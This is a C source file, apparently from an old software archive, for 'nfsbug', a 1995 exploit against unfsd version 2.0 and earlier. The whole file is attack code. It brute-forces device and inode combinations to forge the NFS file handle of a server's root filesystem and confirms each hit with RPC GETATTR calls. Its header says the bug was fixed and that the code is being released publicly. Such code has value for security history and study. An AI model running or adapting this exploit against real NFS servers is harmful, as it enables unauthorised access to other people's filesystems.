home *** CD-ROM | disk | FTP | other *** search
- /*
- * nfsbug This program demonstrates a security problem in unfsd
- * version 2.0 and earlier. It has been fixed now for almost
- * a year, so I think it should be fairly safe to release the
- * exploit code to the public.
- *
- * This program tries to guess the file handle of the root
- * FS by trying reasonable combinations of device and inode
- * number in succession, and attempting to get its attributes
- * handle from the server. It stops when it receives a valid
- * reply and prints out the results.
- *
- * You can speed up the search by providing the device or inode
- * number you want to probe for using the -d and -i switch.
- * Compile with gcc -Wall -o nfsbug nfsbug.c
- *
- * Copyright (C) 1995 O. Kirch
- * This program may be distributed freely according to
- * the GPL.
- */
-
- #include <sys/types.h>
- #include <sys/mount.h>
- #include <stdio.h>
- #include <getopt.h>
- #include <netdb.h>
-
- #include <rpc/rpc.h>
- #include <rpc/xdr.h>
- #include <rpcsvc/nfs_prot.h>
-
-
- static CLIENT * client;
- static char * prog;
-
- /* dev_t and ino_t must match linux types, not client host types */
- #define dev_t unsigned short
- #define ino_t unsigned long
-
- #define NO_DEV ((dev_t)~0)
- #define NO_INO ((ino_t)~0)
-
- /*
- * This is the FH representation used by unfsd.
- */
- typedef struct svc_fh {
- unsigned long h_psi; /* 4 bytes */
- unsigned char h_path[28]; /* 28 bytes */
- } svc_fh;
-
- /*
- * Prototypes
- */
- static int try_device(dev_t dev, ino_t ino);
- static int try_inode(dev_t dev, ino_t ino);
- static int pseudo_inode(dev_t dev, ino_t ino);
- static CLIENT * nfsconnect(char *hostname);
- static int nfscall(dev_t dev, ino_t ino, svc_fh *h);
- static bool_t xdr_fh(XDR *xdrs, svc_fh *fh);
- static bool_t xdr_getattrres(XDR *xdrs, attrstat *as);
-
- int
- main(int argc, char **argv)
- {
- char *hostname = "localhost";
- char *end;
- char c;
- dev_t dev = NO_DEV;
- ino_t ino = NO_INO;
- int ok = 0;
-
- if ((prog = strrchr(argv[0], '/')) == NULL) {
- prog = argv[0];
- } else {
- prog++;
- }
-
- while ((c = getopt(argc, argv, "d:h:i:")) != -1) {
- switch (c) {
- case 'd':
- if (!strncmp(optarg, "0x", 2))
- dev = strtol(optarg + 2, &end, 16);
- else
- dev = strtol(optarg, &end, 10);
- if (*end != '\0') {
- fprintf(stderr,
- "%s: bad device number %s\n",
- prog, optarg);
- exit(2);
- }
- break;
- case 'i':
- ino = strtol(optarg, &end, 10);
- if (*end != '\0') {
- fprintf(stderr,
- "%s: bad inode number %s\n",
- prog, optarg);
- exit(2);
- }
- break;
- case 'h':
- hostname = optarg;
- break;
- case '?':
- fprintf(stderr, "%s: unknown argument %c\n", prog, c);
- exit(2);
- }
- }
- if (optind != argc) {
- fprintf(stderr, "%s: bad number of arguments\n", prog);
- exit(2);
- }
- client = nfsconnect(hostname);
-
- if (dev != NO_DEV) {
- ok = try_device(dev, ino);
- } else {
- unsigned short major, minor;
-
- for (major = 0; major < 256 && !ok; major++) {
- printf("major %02x: ", major);
- for (minor = 0; minor < 32 && !ok; minor++) {
- printf("%x ", minor); fflush(stdout);
- dev = (major << 8) | minor;
- ok = try_device(dev, ino);
- }
- printf("\n");
- }
- }
-
- if (!ok)
- fprintf(stderr, "nfsbug: server seems to be immune\n");
-
- return 0;
- }
-
- static int
- try_device(dev_t dev, ino_t ino)
- {
- int ok = 0;
-
- if (ino != NO_INO)
- return try_inode(dev, ino);
- for (ino = 0; ino < 10 && !ok; ino++)
- ok = try_inode(dev, ino);
- return ok;
- }
-
- /* Try if the given dev/ino combination yields a valid file handle for
- * the FS root.
- */
- static int
- try_inode(dev_t dev, ino_t ino)
- {
- svc_fh fh;
-
- memset(&fh, 0, sizeof(fh));
- fh.h_psi = pseudo_inode(dev, ino);
- if (nfscall(dev, ino, &fh))
- return 1;
- fh.h_psi = htonl(fh.h_psi); /* if client has different byte order */
- if (nfscall(dev, ino, &fh))
- return 1;
- return 0;
- }
-
- /*
- * Compute unfsd's pseudo inode numbers.
- */
- static int
- pseudo_inode(dev_t dev, ino_t ino)
- {
- unsigned long dmajor, dminor;
-
- /*
- * Assuming major and minor numbers are small integers,
- * gravitate bits of dmajor & dminor device number to
- * high-order bits of word, to avoid clash with real inode num.
- */
- /* reverse (byte-wise) */
- dmajor = ((dev & 0xf0f) << 4) | ((dev & 0xf0f0) >> 4);
- dmajor = ((dmajor & 0x3333) << 2) | ((dmajor & 0xcccc) >> 2);
- dmajor = ((dmajor & 0x5555) << 1) | ((dmajor & 0xaaaa) >> 1);
-
- /* spread low-16 -> 32 with 0's in even posn */
- dmajor = ((dmajor & 0xff00) << 8) | (dmajor & 0xff);
- dmajor = ((dmajor & 0xf000f0) << 4) | (dmajor & 0xf000f);
- dmajor = ((dmajor & 0xc0c0c0c) << 2) | (dmajor & 0x3030303);
- dmajor = ((dmajor & 0x22222222) << 1) | (dmajor & 0x11111111);
- dminor = (dmajor & 0x5555) << 15;
- dmajor = dmajor & 0x55550000;
-
- return ((dmajor | dminor) ^ ino);
- }
-
-
- /*
- * Connect to the NFS server.
- */
- static CLIENT *
- nfsconnect(char *hostname)
- {
- struct sockaddr_in sin;
- struct hostent *hp;
- struct timeval tv = { 5, 0 };
- int fd = RPC_ANYSOCK;
- CLIENT *clnt;
-
- if (!(hp = gethostbyname(hostname))) {
- fprintf(stderr, "%s: unknown hostname %s\n", prog, hostname);
- return NULL;
- }
- sin.sin_family = AF_INET;
- sin.sin_addr = *(struct in_addr *)(hp->h_addr);
- sin.sin_port = htons(2049);
-
- clnt = clntudp_create(&sin, 100003, 2, tv, &fd);
- if (!clnt)
- clnt_pcreateerror("can't create client");
-
- return clnt;
- }
-
- /*
- * Call the NFS server
- */
- static int
- nfscall(dev_t dev, ino_t ino, svc_fh *h)
- {
- struct timeval tv = { 5, 0 };
- struct attrstat res;
- struct fattr *attr = &res.attrstat_u.attributes;
- int rpcres;
-
- rpcres = clnt_call(client, 1, (xdrproc_t) xdr_fh, h,
- (xdrproc_t) xdr_getattrres, &res, tv);
- if (rpcres != 0)
- return 0;
- if (res.status != NFS_OK)
- return 0;
- printf("\nGOT IT!\nfile system root attributes:\n"
- "device: 0x%04x\n"
- "inode: %ld\n"
- "mode: 0%o\n"
- "uid: %d\n"
- "gid: %d\n"
- "fsid: 0x%x\n"
- "psi: %d\n",
- dev, ino,
- attr->mode, attr->uid, attr->gid,
- attr->fsid, attr->fileid);
- return 1;
- }
-
- static bool_t
- xdr_fh(XDR *xdrs, svc_fh *fh)
- {
- return xdr_opaque(xdrs, (caddr_t) fh, 32);
- }
-
- static bool_t
- xdr_getattrres(XDR *xdrs, attrstat *as)
- {
- struct fattr *attr = &as->attrstat_u.attributes;
-
- if (!xdr_u_int(xdrs, &as->status))
- return 0;
- if (as->status != 0)
- return 1;
- return xdr_u_int(xdrs, &attr->type) &&
- xdr_int(xdrs, &attr->mode) &&
- xdr_int(xdrs, &attr->nlink) &&
- xdr_int(xdrs, &attr->uid) &&
- xdr_int(xdrs, &attr->gid) &&
- xdr_int(xdrs, &attr->size) &&
- xdr_int(xdrs, &attr->blocksize) &&
- xdr_int(xdrs, &attr->rdev) &&
- xdr_int(xdrs, &attr->blocks) &&
- xdr_int(xdrs, &attr->fsid) &&
- xdr_int(xdrs, &attr->fileid) &&
- xdr_u_int(xdrs, &attr->atime.seconds) &&
- xdr_u_int(xdrs, &attr->atime.useconds) &&
- xdr_u_int(xdrs, &attr->mtime.seconds) &&
- xdr_u_int(xdrs, &attr->mtime.useconds) &&
- xdr_u_int(xdrs, &attr->ctime.seconds) &&
- xdr_u_int(xdrs, &attr->ctime.useconds);
- }
-